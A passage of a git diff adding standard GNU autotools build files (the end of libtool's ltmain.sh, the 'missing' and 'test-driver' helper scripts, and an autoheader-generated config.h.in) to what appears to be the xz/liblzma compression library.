libtool object, so verify it. + if func_lalib_p "$file"; then + + # Read the .lo file + func_source $dir/$name + + # Add PIC object to the list of files to remove. + if test -n "$pic_object" && test none != "$pic_object"; then + func_append rmfiles " $dir/$pic_object" + fi + + # Add non-PIC object to the list of files to remove. + if test -n "$non_pic_object" && test none != "$non_pic_object"; then + func_append rmfiles " $dir/$non_pic_object" + fi + fi + ;; + + *) + if test clean = "$opt_mode"; then + noexename=$name + case $file in + *.exe) + func_stripname '' '.exe' "$file" + file=$func_stripname_result + func_stripname '' '.exe' "$name" + noexename=$func_stripname_result + # $file with .exe has already been added to rmfiles, + # add $file without .exe + func_append rmfiles " $file" + ;; + esac + # Do a test to see if this is a libtool program. + if func_ltwrapper_p "$file"; then + if func_ltwrapper_executable_p "$file"; then + func_ltwrapper_scriptname "$file" + relink_command= + func_source $func_ltwrapper_scriptname_result + func_append rmfiles " $func_ltwrapper_scriptname_result" + else + relink_command= + func_source $dir/$noexename + fi + + # note $name still contains .exe if it was in $file originally + # as does the version of $file that was added into $rmfiles + func_append rmfiles " $odir/$name $odir/${name}S.$objext" + if test yes = "$fast_install" && test -n "$relink_command"; then + func_append rmfiles " $odir/lt-$name" + fi + if test "X$noexename" != "X$name"; then + func_append rmfiles " $odir/lt-$noexename.c" + fi + fi + fi + ;; + esac + func_show_eval "$RM $rmfiles" 'exit_status=1' + done + + # Try to remove the $objdir's in the directories where we deleted files + for dir in $rmdirs; do + if test -d "$dir"; then + func_show_eval "rmdir $dir >/dev/null 2>&1" + fi + done + + exit $exit_status +} + +if test uninstall = "$opt_mode" || test clean = "$opt_mode"; then + func_mode_uninstall ${1+"$@"} +fi + +test -z "$opt_mode" && { + help=$generic_help + func_fatal_help "you must specify a MODE" +} + +test -z "$exec_cmd" && \ + func_fatal_help "invalid operation mode '$opt_mode'" + +if test -n "$exec_cmd"; then + eval exec "$exec_cmd" + exit $EXIT_FAILURE +fi + +exit $exit_status + + +# The TAGs below are defined such that we never get into a situation +# where we disable both kinds of libraries. Given conflicting +# choices, we go for a static library, that is the most portable, +# since we can't tell whether shared libraries were disabled because +# the user asked for that or because the platform doesn't support +# them. This is particularly important on AIX, because we don't +# support having both static and shared libraries enabled at the same +# time on that platform, so we default to a shared-only configuration. +# If a disable-shared tag is given, we'll fallback to a static-only +# configuration. But we'll never go from static-only to shared-only. + +# ### BEGIN LIBTOOL TAG CONFIG: disable-shared +build_libtool_libs=no +build_old_libs=yes +# ### END LIBTOOL TAG CONFIG: disable-shared + +# ### BEGIN LIBTOOL TAG CONFIG: disable-static +build_old_libs=`case $build_libtool_libs in yes) echo no;; *) echo yes;; esac` +# ### END LIBTOOL TAG CONFIG: disable-static + +# Local Variables: +# mode:shell-script +# sh-indentation:2 +# End: diff --git a/build-aux/missing b/build-aux/missing new file mode 100755 index 00000000..1fe1611f --- /dev/null +++ b/build-aux/missing @@ -0,0 +1,215 @@ +#! /bin/sh +# Common wrapper for a few potentially missing GNU programs. + +scriptversion=2018-03-07.03; # UTC + +# Copyright (C) 1996-2021 Free Software Foundation, Inc. +# Originally written by Fran,cois Pinard , 1996. + +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2, or (at your option) +# any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +if test $# -eq 0; then + echo 1>&2 "Try '$0 --help' for more information" + exit 1 +fi + +case $1 in + + --is-lightweight) + # Used by our autoconf macros to check whether the available missing + # script is modern enough. + exit 0 + ;; + + --run) + # Back-compat with the calling convention used by older automake. + shift + ;; + + -h|--h|--he|--hel|--help) + echo "\ +$0 [OPTION]... PROGRAM [ARGUMENT]... + +Run 'PROGRAM [ARGUMENT]...', returning a proper advice when this fails due +to PROGRAM being missing or too old. + +Options: + -h, --help display this help and exit + -v, --version output version information and exit + +Supported PROGRAM values: + aclocal autoconf autoheader autom4te automake makeinfo + bison yacc flex lex help2man + +Version suffixes to PROGRAM as well as the prefixes 'gnu-', 'gnu', and +'g' are ignored when checking the name. + +Send bug reports to ." + exit $? + ;; + + -v|--v|--ve|--ver|--vers|--versi|--versio|--version) + echo "missing $scriptversion (GNU Automake)" + exit $? + ;; + + -*) + echo 1>&2 "$0: unknown '$1' option" + echo 1>&2 "Try '$0 --help' for more information" + exit 1 + ;; + +esac + +# Run the given program, remember its exit status. +"$@"; st=$? + +# If it succeeded, we are done. +test $st -eq 0 && exit 0 + +# Also exit now if we it failed (or wasn't found), and '--version' was +# passed; such an option is passed most likely to detect whether the +# program is present and works. +case $2 in --version|--help) exit $st;; esac + +# Exit code 63 means version mismatch. This often happens when the user +# tries to use an ancient version of a tool on a file that requires a +# minimum version. +if test $st -eq 63; then + msg="probably too old" +elif test $st -eq 127; then + # Program was missing. + msg="missing on your system" +else + # Program was found and executed, but failed. Give up. + exit $st +fi + +perl_URL=https://www.perl.org/ +flex_URL=https://github.com/westes/flex +gnu_software_URL=https://www.gnu.org/software + +program_details () +{ + case $1 in + aclocal|automake) + echo "The '$1' program is part of the GNU Automake package:" + echo "<$gnu_software_URL/automake>" + echo "It also requires GNU Autoconf, GNU m4 and Perl in order to run:" + echo "<$gnu_software_URL/autoconf>" + echo "<$gnu_software_URL/m4/>" + echo "<$perl_URL>" + ;; + autoconf|autom4te|autoheader) + echo "The '$1' program is part of the GNU Autoconf package:" + echo "<$gnu_software_URL/autoconf/>" + echo "It also requires GNU m4 and Perl in order to run:" + echo "<$gnu_software_URL/m4/>" + echo "<$perl_URL>" + ;; + esac +} + +give_advice () +{ + # Normalize program name to check for. + normalized_program=`echo "$1" | sed ' + s/^gnu-//; t + s/^gnu//; t + s/^g//; t'` + + printf '%s\n' "'$1' is $msg." + + configure_deps="'configure.ac' or m4 files included by 'configure.ac'" + case $normalized_program in + autoconf*) + echo "You should only need it if you modified 'configure.ac'," + echo "or m4 files included by it." + program_details 'autoconf' + ;; + autoheader*) + echo "You should only need it if you modified 'acconfig.h' or" + echo "$configure_deps." + program_details 'autoheader' + ;; + automake*) + echo "You should only need it if you modified 'Makefile.am' or" + echo "$configure_deps." + program_details 'automake' + ;; + aclocal*) + echo "You should only need it if you modified 'acinclude.m4' or" + echo "$configure_deps." + program_details 'aclocal' + ;; + autom4te*) + echo "You might have modified some maintainer files that require" + echo "the 'autom4te' program to be rebuilt." + program_details 'autom4te' + ;; + bison*|yacc*) + echo "You should only need it if you modified a '.y' file." + echo "You may want to install the GNU Bison package:" + echo "<$gnu_software_URL/bison/>" + ;; + lex*|flex*) + echo "You should only need it if you modified a '.l' file." + echo "You may want to install the Fast Lexical Analyzer package:" + echo "<$flex_URL>" + ;; + help2man*) + echo "You should only need it if you modified a dependency" \ + "of a man page." + echo "You may want to install the GNU Help2man package:" + echo "<$gnu_software_URL/help2man/>" + ;; + makeinfo*) + echo "You should only need it if you modified a '.texi' file, or" + echo "any other file indirectly affecting the aspect of the manual." + echo "You might want to install the Texinfo package:" + echo "<$gnu_software_URL/texinfo/>" + echo "The spurious makeinfo call might also be the consequence of" + echo "using a buggy 'make' (AIX, DU, IRIX), in which case you might" + echo "want to install GNU make:" + echo "<$gnu_software_URL/make/>" + ;; + *) + echo "You might have modified some files without having the proper" + echo "tools for further handling them. Check the 'README' file, it" + echo "often tells you about the needed prerequisites for installing" + echo "this package. You may also peek at any GNU archive site, in" + echo "case some other package contains this missing '$1' program." + ;; + esac +} + +give_advice "$1" | sed -e '1s/^/WARNING: /' \ + -e '2,$s/^/ /' >&2 + +# Propagate the correct exit status (expected to be 127 for a program +# not found, 63 for a program that failed due to version mismatch). +exit $st + +# Local variables: +# eval: (add-hook 'before-save-hook 'time-stamp) +# time-stamp-start: "scriptversion=" +# time-stamp-format: "%:y-%02m-%02d.%02H" +# time-stamp-time-zone: "UTC0" +# time-stamp-end: "; # UTC" +# End: diff --git a/build-aux/test-driver b/build-aux/test-driver new file mode 100755 index 00000000..be73b80a --- /dev/null +++ b/build-aux/test-driver @@ -0,0 +1,153 @@ +#! /bin/sh +# test-driver - basic testsuite driver script. + +scriptversion=2018-03-07.03; # UTC + +# Copyright (C) 2011-2021 Free Software Foundation, Inc. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2, or (at your option) +# any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# This file is maintained in Automake, please report +# bugs to or send patches to +# . + +# Make unconditional expansion of undefined variables an error. This +# helps a lot in preventing typo-related bugs. +set -u + +usage_error () +{ + echo "$0: $*" >&2 + print_usage >&2 + exit 2 +} + +print_usage () +{ + cat <"$log_file" +"$@" >>"$log_file" 2>&1 +estatus=$? + +if test $enable_hard_errors = no && test $estatus -eq 99; then + tweaked_estatus=1 +else + tweaked_estatus=$estatus +fi + +case $tweaked_estatus:$expect_failure in + 0:yes) col=$red res=XPASS recheck=yes gcopy=yes;; + 0:*) col=$grn res=PASS recheck=no gcopy=no;; + 77:*) col=$blu res=SKIP recheck=no gcopy=yes;; + 99:*) col=$mgn res=ERROR recheck=yes gcopy=yes;; + *:yes) col=$lgn res=XFAIL recheck=no gcopy=yes;; + *:*) col=$red res=FAIL recheck=yes gcopy=yes;; +esac + +# Report the test outcome and exit status in the logs, so that one can +# know whether the test passed or failed simply by looking at the '.log' +# file, without the need of also peaking into the corresponding '.trs' +# file (automake bug#11814). +echo "$res $test_name (exit status: $estatus)" >>"$log_file" + +# Report outcome to console. +echo "${col}${res}${std}: $test_name" + +# Register the test result, and other relevant metadata. +echo ":test-result: $res" > $trs_file +echo ":global-test-result: $res" >> $trs_file +echo ":recheck: $recheck" >> $trs_file +echo ":copy-in-global-log: $gcopy" >> $trs_file + +# Local Variables: +# mode: shell-script +# sh-indentation: 2 +# eval: (add-hook 'before-save-hook 'time-stamp) +# time-stamp-start: "scriptversion=" +# time-stamp-format: "%:y-%02m-%02d.%02H" +# time-stamp-time-zone: "UTC0" +# time-stamp-end: "; # UTC" +# End: diff --git a/config.h.in b/config.h.in new file mode 100644 index 00000000..8370ce19 --- /dev/null +++ b/config.h.in @@ -0,0 +1,639 @@ +/* config.h.in. Generated from configure.ac by autoheader. */ + +/* Define if building universal (internal helper macro) */ +#undef AC_APPLE_UNIVERSAL_BUILD + +/* How many MiB of RAM to assume if the real amount cannot be determined. */ +#undef ASSUME_RAM + +/* Define to 1 if translation of program messages to the user's native + language is requested. */ +#undef ENABLE_NLS + +/* Define to 1 if ARM64 CRC32 instruction is supported. See configure.ac for + details. */ +#undef HAVE_ARM64_CRC32 + +/* Define to 1 if bswap_16 is available. */ +#undef HAVE_BSWAP_16 + +/* Define to 1 if bswap_32 is available. */ +#undef HAVE_BSWAP_32 + +/* Define to 1 if bswap_64 is available. */ +#undef HAVE_BSWAP_64 + +/* Define to 1 if you have the header file. */ +#undef HAVE_BYTESWAP_H + +/* Define to 1 if you have the 'cap_rights_limit' function. */ +#undef HAVE_CAP_RIGHTS_LIMIT + +/* Define to 1 if the system has the type 'CC_SHA256_CTX'. */ +#undef HAVE_CC_SHA256_CTX + +/* Define to 1 if you have the 'CC_SHA256_Init' function. */ +#undef HAVE_CC_SHA256_INIT + +/* Define to 1 if you have the Mac OS X function + CFLocaleCopyPreferredLanguages in the CoreFoundation framework. */ +#undef HAVE_CFLOCALECOPYPREFERREDLANGUAGES + +/* Define to 1 if you have the Mac OS X function CFPreferencesCopyAppValue in + the CoreFoundation framework. */ +#undef HAVE_CFPREFERENCESCOPYAPPVALUE + +/* Define to 1 if crc32 integrity check is enabled. */ +#undef HAVE_CHECK_CRC32 + +/* Define to 1 if crc64 integrity check is enabled. */ +#undef HAVE_CHECK_CRC64 + +/* Define to 1 if sha256 integrity check is enabled. */ +#undef HAVE_CHECK_SHA256 + +/* Define to 1 if you have the 'clock_gettime' function. */ +#undef HAVE_CLOCK_GETTIME + +/* Define to 1 if 'CLOCK_MONOTONIC' is declared in . */ +#undef HAVE_CLOCK_MONOTONIC + +/* Define to 1 if you have the header file. */ +#undef HAVE_COMMONCRYPTO_COMMONDIGEST_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_CPUID_H + +/* Define if the GNU dcgettext() function is already present or preinstalled. + */ +#undef HAVE_DCGETTEXT + +/* Define to 1 if any of HAVE_DECODER_foo have been defined. */ +#undef HAVE_DECODERS + +/* Define to 1 if arm decoder is enabled. */ +#undef HAVE_DECODER_ARM + +/* Define to 1 if arm64 decoder is enabled. */ +#undef HAVE_DECODER_ARM64 + +/* Define to 1 if armthumb decoder is enabled. */ +#undef HAVE_DECODER_ARMTHUMB + +/* Define to 1 if delta decoder is enabled. */ +#undef HAVE_DECODER_DELTA + +/* Define to 1 if ia64 decoder is enabled. */ +#undef HAVE_DECODER_IA64 + +/* Define to 1 if lzma1 decoder is enabled. */ +#undef HAVE_DECODER_LZMA1 + +/* Define to 1 if lzma2 decoder is enabled. */ +#undef HAVE_DECODER_LZMA2 + +/* Define to 1 if powerpc decoder is enabled. */ +#undef HAVE_DECODER_POWERPC + +/* Define to 1 if riscv decoder is enabled. */ +#undef HAVE_DECODER_RISCV + +/* Define to 1 if sparc decoder is enabled. */ +#undef HAVE_DECODER_SPARC + +/* Define to 1 if x86 decoder is enabled. */ +#undef HAVE_DECODER_X86 + +/* Define to 1 if you have the header file. */ +#undef HAVE_DLFCN_H + +/* Define to 1 if you have the 'elf_aux_info' function. */ +#undef HAVE_ELF_AUX_INFO + +/* Define to 1 if any of HAVE_ENCODER_foo have been defined. */ +#undef HAVE_ENCODERS + +/* Define to 1 if arm encoder is enabled. */ +#undef HAVE_ENCODER_ARM + +/* Define to 1 if arm64 encoder is enabled. */ +#undef HAVE_ENCODER_ARM64 + +/* Define to 1 if armthumb encoder is enabled. */ +#undef HAVE_ENCODER_ARMTHUMB + +/* Define to 1 if delta encoder is enabled. */ +#undef HAVE_ENCODER_DELTA + +/* Define to 1 if ia64 encoder is enabled. */ +#undef HAVE_ENCODER_IA64 + +/* Define to 1 if lzma1 encoder is enabled. */ +#undef HAVE_ENCODER_LZMA1 + +/* Define to 1 if lzma2 encoder is enabled. */ +#undef HAVE_ENCODER_LZMA2 + +/* Define to 1 if powerpc encoder is enabled. */ +#undef HAVE_ENCODER_POWERPC + +/* Define to 1 if riscv encoder is enabled. */ +#undef HAVE_ENCODER_RISCV + +/* Define to 1 if sparc encoder is enabled. */ +#undef HAVE_ENCODER_SPARC + +/* Define to 1 if x86 encoder is enabled. */ +#undef HAVE_ENCODER_X86 + +/* Define to 1 if you have the header file. */ +#undef HAVE_FCNTL_H + +/* Define to 1 if __attribute__((__constructor__)) is supported for functions. + */ +#undef HAVE_FUNC_ATTRIBUTE_CONSTRUCTOR + +/* Define to 1 if __attribute__((__ifunc__())) is supported for functions. */ +#undef HAVE_FUNC_ATTRIBUTE_IFUNC + +/* Define to 1 if you have the 'futimens' function. */ +#undef HAVE_FUTIMENS + +/* Define to 1 if you have the 'futimes' function. */ +#undef HAVE_FUTIMES + +/* Define to 1 if you have the 'futimesat' function. */ +#undef HAVE_FUTIMESAT + +/* Define to 1 if you have the 'getauxval' function. */ +#undef HAVE_GETAUXVAL + +/* Define to 1 if you have the header file. */ +#undef HAVE_GETOPT_H + +/* Define to 1 if you have the 'getopt_long' function. */ +#undef HAVE_GETOPT_LONG + +/* Define if the GNU gettext() function is already present or preinstalled. */ +#undef HAVE_GETTEXT + +/* Define if you have the iconv() function and it works. */ +#undef HAVE_ICONV + +/* Define to 1 if you have the header file. */ +#undef HAVE_IMMINTRIN_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_INTTYPES_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_LIMITS_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_LINUX_LANDLOCK_H + +/* Define to 1 if .lz (lzip) decompression support is enabled. */ +#undef HAVE_LZIP_DECODER + +/* Define to 1 if mbrtowc and mbstate_t are properly declared. */ +#undef HAVE_MBRTOWC + +/* Define to 1 to enable bt2 match finder. */ +#undef HAVE_MF_BT2 + +/* Define to 1 to enable bt3 match finder. */ +#undef HAVE_MF_BT3 + +/* Define to 1 to enable bt4 match finder. */ +#undef HAVE_MF_BT4 + +/* Define to 1 to enable hc3 match finder. */ +#undef HAVE_MF_HC3 + +/* Define to 1 to enable hc4 match finder. */ +#undef HAVE_MF_HC4 + +/* Define to 1 if MicroLZMA support is enabled. */ +#undef HAVE_MICROLZMA + +/* Define to 1 if you have the header file. */ +#undef HAVE_MINIX_CONFIG_H + +/* Define to 1 if getopt.h declares extern int optreset. */ +#undef HAVE_OPTRESET + +/* Define to 1 if you have the 'pledge' function. */ +#undef HAVE_PLEDGE + +/* Define to 1 if you have the 'posix_fadvise' function. */ +#undef HAVE_POSIX_FADVISE + +/* Define to 1 if 'program_invocation_name' is declared in . */ +#undef HAVE_PROGRAM_INVOCATION_NAME + +/* Define to 1 if you have the 'pthread_condattr_setclock' function. */ +#undef HAVE_PTHREAD_CONDATTR_SETCLOCK + +/* Have PTHREAD_PRIO_INHERIT. */ +#undef HAVE_PTHREAD_PRIO_INHERIT + +/* Define to 1 if you have the 'SHA256Init' function. */ +#undef HAVE_SHA256INIT + +/* Define to 1 if the system has the type 'SHA256_CTX'. */ +#undef HAVE_SHA256_CTX + +/* Define to 1 if you have the header file. */ +#undef HAVE_SHA256_H + +/* Define to 1 if you have the 'SHA256_Init' function. */ +#undef HAVE_SHA256_INIT + +/* Define to 1 if the system has the type 'SHA2_CTX'. */ +#undef HAVE_SHA2_CTX + +/* Define to 1 if you have the header file. */ +#undef HAVE_SHA2_H + +/* Define to 1 if optimizing for size. */ +#undef HAVE_SMALL + +/* Define to 1 if stdbool.h conforms to C99. */ +#undef HAVE_STDBOOL_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_STDINT_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_STDIO_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_STDLIB_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_STRINGS_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_STRING_H + +/* Define to 1 if 'st_atimensec' is a member of 'struct stat'. */ +#undef HAVE_STRUCT_STAT_ST_ATIMENSEC + +/* Define to 1 if 'st_atimespec.tv_nsec' is a member of 'struct stat'. */ +#undef HAVE_STRUCT_STAT_ST_ATIMESPEC_TV_NSEC + +/* Define to 1 if 'st_atim.st__tim.tv_nsec' is a member of 'struct stat'. */ +#undef HAVE_STRUCT_STAT_ST_ATIM_ST__TIM_TV_NSEC + +/* Define to 1 if 'st_atim.tv_nsec' is a member of 'struct stat'. */ +#undef HAVE_STRUCT_STAT_ST_ATIM_TV_NSEC + +/* Define to 1 if 'st_uatime' is a member of 'struct stat'. */ +#undef HAVE_STRUCT_STAT_ST_UATIME + +/* Define to 1 to if GNU/Linux-specific details are unconditionally wanted for + symbol versioning. Define to 2 to if these are wanted only if also PIC is + defined (allows building both shared and static liblzma at the same time + with Libtool if neither --with-pic nor --without-pic is used). This define + must be used together with liblzma_linux.map. */ +#undef HAVE_SYMBOL_VERSIONS_LINUX + +/* Define to 1 if you have the 'sysctlbyname' function. */ +#undef HAVE_SYSCTLBYNAME + +/* Define to 1 if you have the header file. */ +#undef HAVE_SYS_BYTEORDER_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_SYS_CDEFS_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_SYS_ENDIAN_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_SYS_PARAM_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_SYS_STAT_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_SYS_TIME_H + +/* Define to 1 if you have the header file. */ +#undef HAVE_SYS_TYPES_H + +/* Define to 1 if the system has the type 'uintptr_t'. */ +#undef HAVE_UINTPTR_T + +/* Define to 1 if you have the header file. */ +#undef HAVE_UNISTD_H + +/* Define to 1 if _mm_set_epi64x and _mm_clmulepi64_si128 are usable. See + configure.ac for details. */ +#undef HAVE_USABLE_CLMUL + +/* Define to 1 if you have the 'utime' function. */ +#undef HAVE_UTIME + +/* Define to 1 if you have the 'utimes' function. */ +#undef HAVE_UTIMES + +/* Define to 1 or 0, depending whether the compiler supports simple visibility + declarations. */ +#undef HAVE_VISIBILITY + +/* Define to 1 if you have the header file. */ +#undef HAVE_WCHAR_H + +/* Define to 1 if you have the 'wcwidth' function. */ +#undef HAVE_WCWIDTH + +/* Define to 1 if the system has the type '_Bool'. */ +#undef HAVE__BOOL + +/* Define to 1 if you have the '_futime' function. */ +#undef HAVE__FUTIME + +/* Define to 1 if _mm_movemask_epi8 is available. */ +#undef HAVE__MM_MOVEMASK_EPI8 + +/* Define to 1 if the GNU C extension __builtin_assume_aligned is supported. + */ +#undef HAVE___BUILTIN_ASSUME_ALIGNED + +/* Define to 1 if the GNU C extensions __builtin_bswap16/32/64 are supported. + */ +#undef HAVE___BUILTIN_BSWAPXX + +/* Define to the sub-directory where libtool stores uninstalled libraries. */ +#undef LT_OBJDIR + +/* Define to 1 when using POSIX threads (pthreads). */ +#undef MYTHREAD_POSIX + +/* Define to 1 when using Windows Vista compatible threads. This uses features + that are not available on Windows XP. */ +#undef MYTHREAD_VISTA + +/* Define to 1 when using Windows 95 (and thus XP) compatible threads. This + avoids use of features that were added in Windows Vista. */ +#undef MYTHREAD_WIN95 + +/* Define to 1 to disable debugging code. */ +#undef NDEBUG + +/* Name of package */ +#undef PACKAGE + +/* Define to the address where bug reports for this package should be sent. */ +#undef PACKAGE_BUGREPORT + +/* Define to the full name of this package. */ +#undef PACKAGE_NAME + +/* Define to the full name and version of this package. */ +#undef PACKAGE_STRING + +/* Define to the one symbol short name of this package. */ +#undef PACKAGE_TARNAME + +/* Define to the home page for this package. */ +#undef PACKAGE_URL + +/* Define to the version of this package. */ +#undef PACKAGE_VERSION + +/* Define to necessary symbol if this constant uses a non-standard name on + your system. */ +#undef PTHREAD_CREATE_JOINABLE + +/* The size of 'size_t', as computed by sizeof. */ +#undef SIZEOF_SIZE_T + +/* Define to 1 if all of the C89 standard headers exist (not just the ones + required in a freestanding environment). This macro is provided for + backward compatibility; new code need not use it. */ +#undef STDC_HEADERS + +/* Define to 1 if the number of available CPU cores can be detected with + cpuset(2). */ +#undef TUKLIB_CPUCORES_CPUSET + +/* Define to 1 if the number of available CPU cores can be detected with + pstat_getdynamic(). */ +#undef TUKLIB_CPUCORES_PSTAT_GETDYNAMIC + +/* Define to 1 if the number of available CPU cores can be detected with + sched_getaffinity() */ +#undef TUKLIB_CPUCORES_SCHED_GETAFFINITY + +/* Define to 1 if the number of available CPU cores can be detected with + sysconf(_SC_NPROCESSORS_ONLN) or sysconf(_SC_NPROC_ONLN). */ +#undef TUKLIB_CPUCORES_SYSCONF + +/* Define to 1 if the number of available CPU cores can be detected with + sysctl(). */ +#undef TUKLIB_CPUCORES_SYSCTL + +/* Define to 1 if the system supports fast unaligned access to 16-bit, 32-bit, + and 64-bit integers. */ +#undef TUKLIB_FAST_UNALIGNED_ACCESS + +/* Define to 1 if the amount of physical memory can be detected with + _system_configuration.physmem. */ +#undef TUKLIB_PHYSMEM_AIX + +/* Define to 1 if the amount of physical memory can be detected with + getinvent_r(). */ +#undef TUKLIB_PHYSMEM_GETINVENT_R + +/* Define to 1 if the amount of physical memory can be detected with + getsysinfo(). */ +#undef TUKLIB_PHYSMEM_GETSYSINFO + +/* Define to 1 if the amount of physical memory can be detected with + pstat_getstatic(). */ +#undef TUKLIB_PHYSMEM_PSTAT_GETSTATIC + +/* Define to 1 if the amount of physical memory can be detected with + sysconf(_SC_PAGESIZE) and sysconf(_SC_PHYS_PAGES). */ +#undef TUKLIB_PHYSMEM_SYSCONF + +/* Define to 1 if the amount of physical memory can be detected with sysctl(). + */ +#undef TUKLIB_PHYSMEM_SYSCTL + +/* Define to 1 if the amount of physical memory can be detected with Linux + sysinfo(). */ +#undef TUKLIB_PHYSMEM_SYSINFO + +/* Define to 1 to use unsafe type punning, e.g. char *x = ...; *(int *)x = + 123; which violates strict aliasing rules and thus is undefined behavior + and might result in broken code. */ +#undef TUKLIB_USE_UNSAFE_TYPE_PUNNING + +/* Enable extensions on AIX, Interix, z/OS. */ +#ifndef _ALL_SOURCE +# undef _ALL_SOURCE +#endif +/* Enable general extensions on macOS. */ +#ifndef _DARWIN_C_SOURCE +# undef _DARWIN_C_SOURCE +#endif +/* Enable general extensions on Solaris. */ +#ifndef __EXTENSIONS__ +# undef __EXTENSIONS__ +#endif +/* Enable GNU extensions on systems that have them. */ +#ifndef _GNU_SOURCE +# undef _GNU_SOURCE +#endif +/* Enable X/Open compliant socket functions that do not require linking + with -lxnet on HP-UX 11.11. */ +#ifndef _HPUX_ALT_XOPEN_SOCKET_API +# undef _HPUX_ALT_XOPEN_SOCKET_API +#endif +/* Identify the host operating system as Minix. + This macro does not affect the system headers' behavior. + A future release of Autoconf may stop defining this macro. */ +#ifndef _MINIX +# undef _MINIX +#endif +/* Enable general extensions on NetBSD. + Enable NetBSD compatibility extensions on Minix. */ +#ifndef _NETBSD_SOURCE +# undef _NETBSD_SOURCE +#endif +/* Enable OpenBSD compatibility extensions on NetBSD. + Oddly enough, this does nothing on OpenBSD. */ +#ifndef _OPENBSD_SOURCE +# undef _OPENBSD_SOURCE +#endif +/* Define to 1 if needed for POSIX-compatible behavior. */ +#ifndef _POSIX_SOURCE +# undef _POSIX_SOURCE +#endif +/* Define to 2 if needed for POSIX-compatible behavior. */ +#ifndef _POSIX_1_SOURCE +# undef _POSIX_1_SOURCE +#endif +/* Enable POSIX-compatible threading on Solaris. */ +#ifndef _POSIX_PTHREAD_SEMANTICS +# undef _POSIX_PTHREAD_SEMANTICS +#endif +/* Enable extensions specified by ISO/IEC TS 18661-5:2014. */ +#ifndef __STDC_WANT_IEC_60559_ATTRIBS_EXT__ +# undef __STDC_WANT_IEC_60559_ATTRIBS_EXT__ +#endif +/* Enable extensions specified by ISO/IEC TS 18661-1:2014. */ +#ifndef __STDC_WANT_IEC_60559_BFP_EXT__ +# undef __STDC_WANT_IEC_60559_BFP_EXT__ +#endif +/* Enable extensions specified by ISO/IEC TS 18661-2:2015. */ +#ifndef __STDC_WANT_IEC_60559_DFP_EXT__ +# undef __STDC_WANT_IEC_60559_DFP_EXT__ +#endif +/* Enable extensions specified by C23 Annex F. */ +#ifndef __STDC_WANT_IEC_60559_EXT__ +# undef __STDC_WANT_IEC_60559_EXT__ +#endif +/* Enable extensions specified by ISO/IEC TS 18661-4:2015. */ +#ifndef __STDC_WANT_IEC_60559_FUNCS_EXT__ +# undef __STDC_WANT_IEC_60559_FUNCS_EXT__ +#endif +/* Enable extensions specified by C23 Annex H and ISO/IEC TS 18661-3:2015. */ +#ifndef __STDC_WANT_IEC_60559_TYPES_EXT__ +# undef __STDC_WANT_IEC_60559_TYPES_EXT__ +#endif +/* Enable extensions specified by ISO/IEC TR 24731-2:2010. */ +#ifndef __STDC_WANT_LIB_EXT2__ +# undef __STDC_WANT_LIB_EXT2__ +#endif +/* Enable extensions specified by ISO/IEC 24747:2009. */ +#ifndef __STDC_WANT_MATH_SPEC_FUNCS__ +# undef __STDC_WANT_MATH_SPEC_FUNCS__ +#endif +/* Enable extensions on HP NonStop. */ +#ifndef _TANDEM_SOURCE +# undef _TANDEM_SOURCE +#endif +/* Enable X/Open extensions. Define to 500 only if necessary + to make mbstate_t available. */ +#ifndef _XOPEN_SOURCE +# undef _XOPEN_SOURCE +#endif + + +/* Version number of package */ +#undef VERSION + +/* Define WORDS_BIGENDIAN to 1 if your processor stores words with the most + significant byte first (like Motorola and SPARC, unlike Intel). */ +#if defined AC_APPLE_UNIVERSAL_BUILD +# if defined __BIG_ENDIAN__ +# define WORDS_BIGENDIAN 1 +# endif +#else +# ifndef WORDS_BIGENDIAN +# undef WORDS_BIGENDIAN +# endif +#endif + +/* Number of bits in a file offset, on hosts where this is settable. */ +#undef _FILE_OFFSET_BITS + +/* Define to 1 on platforms where this makes off_t a 64-bit type. */ +#undef _LARGE_FILES + +/* Number of bits in time_t, on hosts where this is settable. */ +#undef _TIME_BITS + +/* Define for Solaris 2.5.1 so the uint32_t typedef from , + , or is not used. If the typedef were allowed, the + #define below would cause a syntax error. */ +#undef _UINT32_T + +/* Define for Solaris 2.5.1 so the uint64_t typedef from , + , or is not used. If the typedef were allowed, the + #define below would cause a syntax error. */ +#undef _UINT64_T + +/* Define for Solaris 2.5.1 so the uint8_t typedef from , + , or is not used. If the typedef were allowed, the + #define below would cause a syntax error. */ +#undef _UINT8_T + +/* Define to rpl_ if the getopt replacement functions and variables should be + used. */ +#undef __GETOPT_PREFIX + +/* Define to 1 on platforms where this makes time_t a 64-bit type. */ +#undef __MINGW_USE_VC2005_COMPAT + +/* Define to the type of a signed integer type of width exactly 32 bits if + such a type exists and the standard includes do not define it. */ +#undef int32_t + +/* Define to the type of a signed integer type of width exactly 64 bits if + such a type exists and the standard includes do not define it. */ +#undef int64_t + +/* Define to the type of an unsigned integer type of width exactly 16 bits if + such a type exists and the standard includes do not define it. */ +#undef uint16_t + +/* 